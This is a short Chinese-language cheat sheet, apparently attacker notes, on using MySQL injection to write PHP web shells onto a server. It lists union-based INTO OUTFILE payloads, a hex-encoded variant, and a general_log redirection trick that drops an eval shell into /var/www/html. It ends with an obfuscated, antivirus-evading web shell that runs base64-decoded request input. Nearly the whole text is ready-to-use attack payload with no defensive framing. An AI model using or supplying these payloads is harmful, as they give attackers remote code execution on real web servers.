mysql注入写入文件
mysql注入写文件1.
select * from admin where id =-1 union select 1,'<?php phpinfo();?>',3,4 into outfile 'c:\\1.php'
2.
select * from admin where id =-1 or 1=1 limit 0,1 INTO OUTFILE 'c:/2.php' LINES TERMINATED BY 0x3C3F70687020706870696E666F28293B3F3E--
此写法需要查询出数据,才能将shell写入
3.通过数据库日志写shell
outfile被禁止，或者写入文件被拦截；
在数据库中操作如下：（必须是root权限）
show variables like '%general%';#查看配置
set global general_log = on;#开启general log模式
set global general_log_file = '/var/www/html/1.php'; #设置日志目录为shell地址
select '<?php eval($_POST);?>'#写入shell
SQL查询免杀shell的语句
SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a;$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"
